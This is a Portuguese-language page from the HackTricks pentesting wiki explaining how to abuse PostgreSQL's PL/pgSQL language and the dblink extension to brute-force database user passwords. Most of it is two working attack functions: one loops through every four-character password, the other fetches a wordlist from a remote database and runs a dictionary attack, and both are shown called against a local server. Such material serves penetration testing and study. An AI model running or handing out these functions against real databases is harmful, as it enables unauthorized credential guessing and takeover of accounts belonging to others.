Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
PL/pgSQL é uma linguagem de programação completa que vai além das capacidades do SQL, oferecendo controle procedural aprimorado. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por declarações SQL e gatilhos, ampliando o escopo das operações dentro do ambiente do banco de dados.
Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar a existência delas usando:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Por padrão, criar funções é um privilégio concedido ao PÚBLICO, onde PÚBLICO se refere a todos os usuários nesse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USO do domínio PÚBLICO:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Note que, para o script a seguir funcionar, a função dblink precisa existir. Se não existir, você pode tentar criá-la com o seguinte comando:
CREATE EXTENSION dblink;
Força Bruta de Senha
Aqui está como você poderia realizar uma força bruta de senha de 4 caracteres:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Nota que até mesmo a força bruta de 4 caracteres pode levar vários minutos.
Você também poderia baixar uma lista de palavras e tentar apenas essas senhas (ataque de dicionário):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!